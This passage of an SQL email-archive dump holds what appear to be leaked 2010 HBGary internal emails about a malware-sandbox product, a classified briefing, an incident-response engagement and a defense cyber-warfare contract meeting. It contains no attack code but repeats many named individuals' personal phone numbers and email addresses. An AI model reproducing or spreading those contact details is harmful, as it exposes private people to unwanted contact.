is the best thing for our\r\ncustomers and HBGary.\r\n\r\n\r\n\r\nMike and I have discussed that the chink in HBGary’s armor is that we\r\nrequire a largely manual malware analysis step between DDNA detection\r\nand IOC scans (reviewing the look-at-closer systems).  If implemented\r\nproperly, TMC could provide an automated, scalable solution and\r\nthereby shore up HBGary’s methodology.\r\n\r\n\r\n\r\nTMC can be configured to run just Flypaper/DDNA, just REcon or both.\r\n\r\n\r\n\r\nProspects such as NSA ANO and DC3 have huge quantities of binaries\r\nthey already know are malware so they don’t need DDNA to tell them\r\nthat.  They want an automated tool that will tell them behavioral info\r\nand timeline info of running malware.  REcon with good summarized\r\nruntime data can do that.  Historically, these organizations have been\r\npet rock guys doing it the old IDA and OllyDbg ways, but the workload\r\nexceeds their bandwidth. As a result they are buying every sandbox\r\ntool such as CWSandbox and Norman.  They will buy TMC too.  Think of\r\nit as like VirusTotal, but multiple runtime sandboxes instead of\r\nmultiple AV.\r\n\r\n\r\n\r\nHBG Fed is already doing the TMC work.  Let’s have the build it for\r\nimportant use cases from the get-go.\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8802,'aaron_hbgary_com/8802.html'),(11480,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008658.M573419P14101Q6335.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Classified Capabilities Brief','Joe,\r\n\r\nAaron is going to be in Colorado next Monday for a meeting in Denver.\r\nIs it possible to schedule a classified briefing with the customer\r\nearly Monday (8am-9am), or early Tuesday (before noon)?  We need to\r\nknow ASAP, so Aaron can plan his trip accordingly.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Sep 7, 2010 at 10:26 AM, Aaron Barr  wrote:\r\n> Joe,\r\n>\r\n> Looks like I am going to be in town early next week.  Any availability to have the discussion we were working towards?\r\n>\r\n> Aaron\r\n>\r\n> On Sep 1, 2010, at 12:11 PM, Maier, Raymond Joe (US SSA) (US ASTSS Huntsville) wrote:\r\n>\r\n>> Aaron,\r\n>> I am with a customer most of today. I will send you a note when free.\r\n>>\r\n>>\r\n>> Joe Maier\r\n>> 719.235.1898 - Mobile\r\n>> 719.325.8445 - Work\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, 01 September, 2010 09:06 AM\r\n>> To: Ted Vera\r\n>> Cc: Maier, Raymond \"Joe\" (US SSA) (US ASTSS Huntsville)\r\n>> Subject: Re: Classified Capabilities Brief\r\n>>\r\n>> Hi Joe,\r\n>>\r\n>> Can I give you a call to talk a little about the opportunity and we can discuss when is a good time to come out?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Aug 30, 2010, at 12:54 PM, Ted Vera wrote:\r\n>>\r\n>>> Hi Joe,\r\n>>>\r\n>>> I just spoke with Aaron (cc\'d).  He is planning to be in the Springs September 15-17th.  Would either the 15th or the 17th work for a classified capabilities brief?  If there is an immediate need he may be able to travel sooner - when would the customer like to meet?\r\n>>>\r\n>>> Feel free to coordinate directly with Aaron -- cell:  719-510-8478.\r\n>>>\r\n>>> Regards,\r\n>>> Ted\r\n>>>\r\n>>\r\n>\r\n>\r\n',2923,'aaron_hbgary_com/2923.html'),(11481,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008658.M761342P14101Q6336.eml','\"Phil Wallisch\" <phil@hbgary.com>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Re: Incident Response','Hi Phil,\r\n\r\nMark and I are able and willing to support if needed.  Both of us can\r\ninstall & configure active defense, work with customer system admin to\r\ndeploy agents, kick off queries, and perform basic malware analysis\r\nusing Responder Pro.  If you think this could save you time / be of\r\nbenefit please let us know ASAP so we can plan accordingly.  Where is\r\nthe place of performance?\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 11:27 AM, Phil Wallisch  wrote:\r\n> Yes and I need to talk about this scope.  Especially us doing \"forensics\"\r\n> and determining root cause.\r\n>\r\n> On Wed, Sep 8, 2010 at 1:24 PM, Bob Slapnik  wrote:\r\n>>\r\n>> Ted,\r\n>>\r\n>> Phil scoped the work.  We sent them a proposal. It is only for 106 hours\r\n>> total.  We are hoping to ink it soon, maybe today.  It will be up to Phil\r\n>> if\r\n>> and how much he uses HBG Fed.\r\n>>\r\n>> Bob\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Wednesday, September 08, 2010 12:26 PM\r\n>> To: Bob Slapnik\r\n>> Subject: Incident Response\r\n>>\r\n>> Hi Bob,\r\n>>\r\n>> Any updates on the incident response engagement you mentioned yesterday?\r\n>>\r\n>> Ted\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>\r\n> Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n> 916-481-1460\r\n>\r\n> Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n> https://www.hbgary.com/community/phils-blog/\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2870,'aaron_hbgary_com/2870.html'),(11482,'2010-09-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008658.M960901P14101Q6337.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FW: SSC PAC Cyber Warfare (Pre-award Status & Contract Planning Meeting)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere is some more info from GD.&nbsp; Seems weird to me that\r\nthey would hold a pre-award planning meeting.&nbsp; What if they don&#8217;t\r\nwin?&nbsp; My impression is that it will be an IDIQ contract with multiple\r\nawardees who will compete for new task orders.&nbsp; They figure that the task\r\norders will start to flow upon award so they want to be ready.&nbsp; It also\r\nseems that this San Diego meeting will be the subs jockeying for position to be\r\nfirst in line for FTE&#8217;s.\r\n\r\n&nbsp;\r\n\r\nTed and Aaron, have you seen this type of thing before?&nbsp; Can\r\nyou guys take over the dialogue with GD to figure out our next steps?&nbsp;\r\nHere are some contacts:\r\n\r\n&nbsp;\r\n\r\nVince Holtmann / Vincent.Holtmann@gd-ais.com\r\n&nbsp;/ Office\r\n(210) 932-5522 / Mobile (210) 792-8088 \r\n\r\nGeorge Valdez / George.Valdez@gd-ais.com\r\n/ (650) 966-3770 /&nbsp; Mobile (650) 465-9236\r\n\r\nMarci Woodson / Marci.Woolson@gd-ais.com\r\n/ (240) 294-2222 /&nbsp; Mobile (703) 407-2244\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Holtmann, Vincent\r\nA. [mailto:Vincent.Holtmann@gd-ais.com] \r\nSent: Wednesday, September 08, 2010 6:01 PM\r\nTo: Holtmann, Vincent A.; Ebber@avi.com; Kevin Estrem; Murphy, Marc (US\r\n- Charlotte); Smith, Timothy-P65114 (EXT) (GDC4S); Long, John P;\r\ncarl.houghton@issinc.com; Beck, Bob; Autry, Tim; Dan Roberts; Elijah Sutton;\r\nMike Smith; Adam Stotz; Dave Atherton; robert_labella@minervaengineering.com;\r\njmathis@ndti.net; sbodmer@savidcorp.com; Lynn Lehman; Lee Krause;\r\nwbrew@simulexinc.com; Alok Chaturvedi; mgotte@wareonearth.com; Roger Webb;\r\njames.mulvenon@defensegp.com; \'Bob Slapnik\'; Jeffrey Carr;\r\nJondi_Bernardo@McAfee.com; Mike Sulek; sleanheart@telcordia.com;\r\nrichard.tillery@vissllc.com; gproctor@atcorp-dc.com; jim.burton@cataphora.com;\r\nJeffrey Morgan; Jacobson, Ron; Dietz, James Eric; tgrabowski@netezza.com; Wendy\r\nYee\r\nCc: Valdez, George G.; Rabideau, Tim J.; Carron, Brian E.; Martin,\r\nRobert Z.; Jaeger, James A.\r\nSubject: RE: SSC PAC Cyber Warfare (Pre-award Status &amp; Contract\r\nPlanning Meeting)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTeam,&nbsp; to clarify some of the team&#8217;s\r\nquestions&#8230;&nbsp; \r\n\r\n\r\n\r\n\r\n Based on our discussions with the SSC PAC\r\n     leadership, this is a high probability award for Team General Dynamics. \r\n Formal announcement of the award has not been\r\n     announced, but the government has indicated an early October award\r\n     announcement.\r\n Our Orals presentation to the government went\r\n     EXTREMELY well, as noted by the Source Selection Lead.\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Holtmann, Vincent A. \r\nSent: Tuesday, September 07, 2010 9:23 PM\r\nTo: \'Ebber@avi.com\'; \'Kevin Estrem\'; Murphy, Marc (US - Charlotte);\r\nSmith, Timothy-P65114 (EXT) (GDC4S); \'Long, John P\';\r\n\'carl.houghton@issinc.com\'; \'Beck, Bob\'; \'Autry, Tim\'; \'Dan Roberts\'; \'Elijah\r\nSutton\'; \'Mike Smith\'; \'Adam Stotz\'; \'Dave Atherton\';\r\n\'robert_labella@minervaengineering.com\'; \'jmathis@ndti.net\';\r\n\'sbodmer@savidcorp.com\'; \'Lynn Lehman\'; \'Lee Krause\'; \'wbrew@simulexinc.com\';\r\n\'Alok Chaturvedi\'; \'mgotte@wareonearth.com\'; \'Roger Webb\';\r\n\'james.mulvenon@defensegp.com\'; \'Bob Slapnik\'; \'Jeffrey Carr\';\r\n\'Jondi_Bernardo@McAfee.com\'; \'Mike Sulek\'; \'sleanheart@telcordia.com\';\r\n\'richard.tillery@vissllc.com\'; \'gproctor@atcorp-dc.com\';\r\n\'jim.burton@cataphora.com\'; Jeffrey Morgan; \'Jacobson, Ron\'; \'Dietz, James\r\nEric\'; \'tgrabowski@netezza.com\'; \'Wendy Yee\'\r\nCc: Valdez, George G.; Rabideau, Tim J.; Carron, Brian E.; Martin,\r\nRobert Z.; Jaeger, James A.\r\nSubject: SSC PAC Cyber Warfare (Pre-award Status &amp; Contract Planning\r\nMeeting)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAll,&nbsp;\r\nPlease review the attached slide deck for our SSC PAC Cyber Warfare meeting\r\ndetails.&nbsp; We understand that not everyone will be able to attend, but\r\nwanted to ensure that all exclusive team members are invited. For those unable\r\nto attend, meeting notes will be taken and distributed to the team.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nActions\r\n\r\n\r\n\r\n\r\n Select\r\n     Yes or No for your attend so we can get a head count\r\n Let\r\n     me know if you have any questions\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLook\r\nforward to all that can make the trip!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;&lt;\r\nFile: Team SSC PAC Pre-Award Planning.ppt &gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nVince\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVincent\r\nA. Holtmann\r\n\r\nGeneral\r\nDynamics Advanced Information Systems \r\n3133\r\nGeneral Hudnell, Ste. 300\r\n\r\nSan\r\nAntonio, TX 78226\r\nOffice (210) 932-5522\r\nMobile (210) 792-8088 \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/08/10\r\n02:07:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4228,'aaron_hbgary_com/4228.html'),(11483,'2010-09-08','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008659.M159056P14101Q6338.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: Incident Response','Thanks Ted.  It is remote access work.I&#39;m not sure how I would leverage you guys yet.  I&#39;m still in deployment mode.  Well..fix deployment mode.  I don&#39;t want to tie you guys up.  If you&#39;re free next week then great.\r\nOn Wed, Sep 8, 2010 at 6:28 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Phil,\r\n\r\nMark and I are able and willing to support if needed.  Both of us can\r\ninstall &amp; configure active defense, work with customer system admin to\r\ndeploy agents, kick off queries, and perform basic malware analysis\r\nusing Responder Pro.  If you think this could save you time / be of\r\nbenefit please let us know ASAP so we can plan accordingly.  Where is\r\nthe place of performance?\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 11:27 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n&gt; Yes and I need to talk about this scope.  Especially us doing &quot;forensics&quot;\r\n&gt; and determining root cause.\r\n&gt;\r\n&gt; On Wed, Sep 8, 2010 at 1:24 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt; Ted,\r\n&gt;&gt;\r\n&gt;&gt; Phil scoped the work.  We sent them a proposal. It is only for 106 hours\r\n&gt;&gt; total.  We are hoping to ink it soon, maybe today.  It will be up to Phil\r\n&gt;&gt; if\r\n&gt;&gt; and how much he uses HBG Fed.\r\n&gt;&gt;\r\n&gt;&gt; Bob\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt;&gt; Sent: Wednesday, September 08, 2010 12:26 PM\r\n&gt;&gt; To: Bob Slapnik\r\n&gt;&gt; Subject: Incident Response\r\n&gt;&gt;\r\n&gt;&gt; Hi Bob,\r\n&gt;&gt;\r\n&gt;&gt; Any updates on the incident response engagement you mentioned yesterday?\r\n&gt;&gt;\r\n&gt;&gt; Ted\r\n&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n&gt;\r\n&gt; 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n&gt;\r\n&gt; Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n&gt; 916-481-1460\r\n&gt;\r\n&gt; Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n&gt; https://www.hbgary.com/community/phils-blog/\r\n&gt;\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',4728,'aaron_hbgary_com/4728.html');
INSERT INTO `emails` VALUES (11484,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008659.M382904P14101Q6339.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,','Re: Incident Response','Do they have an AD server already installed in their environment?\r\n\r\nOn Wed, Sep 8, 2010 at 4:53 PM, Phil Wallisch  wrote:\r\n> Thanks Ted.  It is remote access work.\r\n>\r\n> I\'m not sure how I would leverage you guys yet.  I\'m still in deployment\r\n> mode.  Well..fix deployment mode.  I don\'t want to tie you guys up.  If\r\n> you\'re free next week then great.\r\n>\r\n> On Wed, Sep 8, 2010 at 6:28 PM, Ted Vera  wrote:\r\n>>\r\n>> Hi Phil,\r\n>>\r\n>> Mark and I are able and willing to support if needed.  Both of us can\r\n>> install & configure active defense, work with customer system admin to\r\n>> deploy agents, kick off queries, and perform basic malware analysis\r\n>> using Responder Pro.  If you think this could save you time / be of\r\n>> benefit please let us know ASAP so we can plan accordingly.  Where is\r\n>> the place of performance?\r\n>>\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> On Wed, Sep 8, 2010 at 11:27 AM, Phil Wallisch  wrote:\r\n>> > Yes and I need to talk about this scope.  Especially us doing\r\n>> > \"forensics\"\r\n>> > and determining root cause.\r\n>> >\r\n>> > On Wed, Sep 8, 2010 at 1:24 PM, Bob Slapnik  wrote:\r\n>> >>\r\n>> >> Ted,\r\n>> >>\r\n>> >> Phil scoped the work.  We sent them a proposal. It is only for 106\r\n>> >> hours\r\n>> >> total.  We are hoping to ink it soon, maybe today.  It will be up to\r\n>> >> Phil\r\n>> >> if\r\n>> >> and how much he uses HBG Fed.\r\n>> >>\r\n>> >> Bob\r\n>> >>\r\n>> >>\r\n>> >> -----Original Message-----\r\n>> >> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> >> Sent: Wednesday, September 08, 2010 12:26 PM\r\n>> >> To: Bob Slapnik\r\n>> >> Subject: Incident Response\r\n>> >>\r\n>> >> Hi Bob,\r\n>> >>\r\n>> >> Any updates on the incident response engagement you mentioned\r\n>> >> yesterday?\r\n>> >>\r\n>> >> Ted\r\n>> >>\r\n>> >\r\n>> >\r\n>> >\r\n>> > --\r\n>> > Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>> >\r\n>> > 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>> >\r\n>> > Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n>> > 916-481-1460\r\n>> >\r\n>> > Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n>> > https://www.hbgary.com/community/phils-blog/\r\n>> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n>\r\n> --\r\n> Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>\r\n> Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n> 916-481-1460\r\n>\r\n> Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n> https://www.hbgary.com/community/phils-blog/\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1166,'aaron_hbgary_com/1166.html'),(11485,'2010-09-08','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008659.M613590P14101Q6340.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: Incident Response','Yes.  It&#39;s been there since April.  I upgraded over the weekend and now it&#39;s borked.  At least some of the agents are borked.On Wed, Sep 8, 2010 at 6:55 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nDo they have an AD server already installed in their environment?\r\n\r\nOn Wed, Sep 8, 2010 at 4:53 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n&gt; Thanks Ted.  It is remote access work.\r\n&gt;\r\n&gt; I&#39;m not sure how I would leverage you guys yet.  I&#39;m still in deployment\r\n&gt; mode.  Well..fix deployment mode.  I don&#39;t want to tie you guys up.  If\r\n&gt; you&#39;re free next week then great.\r\n&gt;\r\n&gt; On Wed, Sep 8, 2010 at 6:28 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt; Hi Phil,\r\n&gt;&gt;\r\n&gt;&gt; Mark and I are able and willing to support if needed.  Both of us can\r\n&gt;&gt; install &amp; configure active defense, work with customer system admin to\r\n&gt;&gt; deploy agents, kick off queries, and perform basic malware analysis\r\n&gt;&gt; using Responder Pro.  If you think this could save you time / be of\r\n&gt;&gt; benefit please let us know ASAP so we can plan accordingly.  Where is\r\n&gt;&gt; the place of performance?\r\n&gt;&gt;\r\n&gt;&gt; Ted\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; On Wed, Sep 8, 2010 at 11:27 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n&gt;&gt; &gt; Yes and I need to talk about this scope.  Especially us doing\r\n&gt;&gt; &gt; &quot;forensics&quot;\r\n&gt;&gt; &gt; and determining root cause.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; On Wed, Sep 8, 2010 at 1:24 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Ted,\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Phil scoped the work.  We sent them a proposal. It is only for 106\r\n&gt;&gt; &gt;&gt; hours\r\n&gt;&gt; &gt;&gt; total.  We are hoping to ink it soon, maybe today.  It will be up to\r\n&gt;&gt; &gt;&gt; Phil\r\n&gt;&gt; &gt;&gt; if\r\n&gt;&gt; &gt;&gt; and how much he uses HBG Fed.\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Bob\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; -----Original Message-----\r\n&gt;&gt; &gt;&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt;&gt; &gt;&gt; Sent: Wednesday, September 08, 2010 12:26 PM\r\n&gt;&gt; &gt;&gt; To: Bob Slapnik\r\n&gt;&gt; &gt;&gt; Subject: Incident Response\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Hi Bob,\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Any updates on the incident response engagement you mentioned\r\n&gt;&gt; &gt;&gt; yesterday?\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Ted\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; --\r\n&gt;&gt; &gt; Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n&gt;&gt; &gt; 916-481-1460\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n&gt;&gt; &gt; https://www.hbgary.com/community/phils-blog/\r\n&gt;&gt; &gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; --\r\n&gt;&gt; Ted Vera  |  President  |  HBGary Federal\r\n&gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n&gt;&gt; www.hbgary.com  |  ted@hbgary.com\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n&gt;\r\n&gt; 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n&gt;\r\n&gt; Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n&gt; 916-481-1460\r\n&gt;\r\n&gt; Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n&gt; https://www.hbgary.com/community/phils-blog/\r\n&gt;\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',13375,'aaron_hbgary_com/13375.html'),(11486,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008659.M817671P14101Q6341.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,','Re: Incident Response','That\'s interesting.  Mark just had to unbork our AD server today after\r\nupgrading it last Friday...\r\n\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 4:57 PM, Phil Wallisch  wrote:\r\n> Yes.  It\'s been there since April.  I upgraded over the weekend and now it\'s\r\n> borked.  At least some of the agents are borked.\r\n>\r\n> On Wed, Sep 8, 2010 at 6:55 PM, Ted Vera  wrote:\r\n>>\r\n>> Do they have an AD server already installed in their environment?\r\n>>\r\n>> On Wed, Sep 8, 2010 at 4:53 PM, Phil Wallisch  wrote:\r\n>> > Thanks Ted.  It is remote access work.\r\n>> >\r\n>> > I\'m not sure how I would leverage you guys yet.  I\'m still in deployment\r\n>> > mode.  Well..fix deployment mode.  I don\'t want to tie you guys up.  If\r\n>> > you\'re free next week then great.\r\n>> >\r\n>> > On Wed, Sep 8, 2010 at 6:28 PM, Ted Vera  wrote:\r\n>> >>\r\n>> >> Hi Phil,\r\n>> >>\r\n>> >> Mark and I are able and willing to support if needed.  Both of us can\r\n>> >> install & configure active defense, work with customer system admin to\r\n>> >> deploy agents, kick off queries, and perform basic malware analysis\r\n>> >> using Responder Pro.  If you think this could save you time / be of\r\n>> >> benefit please let us know ASAP so we can plan accordingly.  Where is\r\n>> >> the place of performance?\r\n>> >>\r\n>> >> Ted\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >> On Wed, Sep 8, 2010 at 11:27 AM, Phil Wallisch  wrote:\r\n>> >> > Yes and I need to talk about this scope.  Especially us doing\r\n>> >> > \"forensics\"\r\n>> >> > and determining root cause.\r\n>> >> >\r\n>> >> > On Wed, Sep 8, 2010 at 1:24 PM, Bob Slapnik  wrote:\r\n>> >> >>\r\n>> >> >> Ted,\r\n>> >> >>\r\n>> >> >> Phil scoped the work.  We sent them a proposal. It is only for 106\r\n>> >> >> hours\r\n>> >> >> total.  We are hoping to ink it soon, maybe today.  It will be up to\r\n>> >> >> Phil\r\n>> >> >> if\r\n>> >> >> and how much he uses HBG Fed.\r\n>> >> >>\r\n>> >> >> Bob\r\n>> >> >>\r\n>> >> >>\r\n>> >> >> -----Original Message-----\r\n>> >> >> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> >> >> Sent: Wednesday, September 08, 2010 12:26 PM\r\n>> >> >> To: Bob Slapnik\r\n>> >> >> Subject: Incident Response\r\n>> >> >>\r\n>> >> >> Hi Bob,\r\n>> >> >>\r\n>> >> >> Any updates on the incident response engagement you mentioned\r\n>> >> >> yesterday?\r\n>> >> >>\r\n>> >> >> Ted\r\n>> >> >>\r\n>> >> >\r\n>> >> >\r\n>> >> >\r\n>> >> > --\r\n>> >> > Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>> >> >\r\n>> >> > 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>> >> >\r\n>> >> > Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n>> >> > 916-481-1460\r\n>> >> >\r\n>> >> > Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n>> >> > https://www.hbgary.com/community/phils-blog/\r\n>> >> >\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >> --\r\n>> >> Ted Vera  |  President  |  HBGary Federal\r\n>> >> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> >> www.hbgary.com  |  ted@hbgary.com\r\n>> >\r\n>> >\r\n>> >\r\n>> > --\r\n>> > Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>> >\r\n>> > 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>> >\r\n>> > Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n>> > 916-481-1460\r\n>> >\r\n>> > Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n>> > https://www.hbgary.com/community/phils-blog/\r\n>> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 